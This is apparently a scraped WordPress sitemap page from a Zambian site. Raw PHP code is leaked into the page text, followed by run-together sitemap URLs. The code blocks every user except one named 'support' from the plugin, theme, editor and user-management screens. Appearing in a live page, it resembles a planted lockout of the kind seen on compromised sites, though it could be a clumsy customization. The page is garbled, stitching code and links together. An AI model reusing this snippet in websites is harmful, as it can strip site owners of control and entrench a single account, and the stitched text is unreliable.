function restrict_admin_pages_except_support() { if (is_admin()) { $user = wp_get_current_user(); if ($user->user_login !== 'support') { $restricted_pages = [ 'plugins.php', 'plugin-install.php', 'plugin-editor.php', 'themes.php', 'theme-install.php', 'theme-editor.php', 'users.php', 'user-new.php' ]; $current_page = basename($_SERVER['PHP_SELF']); if (in_array($current_page, $restricted_pages)) { wp_die('You do not have permission to access this page.'); exit; } } } } add_action('admin_init', 'restrict_admin_pages_except_support'); https://zamren.zm/wp-sitemap-posts-post-1.xmlhttps://zamren.zm/wp-sitemap-posts-page-1.xmlhttps://zamren.zm/wp-sitemap-posts-techbiz_footer-1.xmlhttps://zamren.zm/wp-sitemap-posts-techbiz_header-1.xmlhttps://zamren.zm/wp-sitemap-posts-techbiz_tab_build-1.xmlhttps://zamren.zm/wp-sitemap-taxonomies-category-1.xmlhttps://zamren.zm/wp-sitemap-taxonomies-post_tag-1.xmlhttps://zamren.zm/wp-sitemap-users-1.xml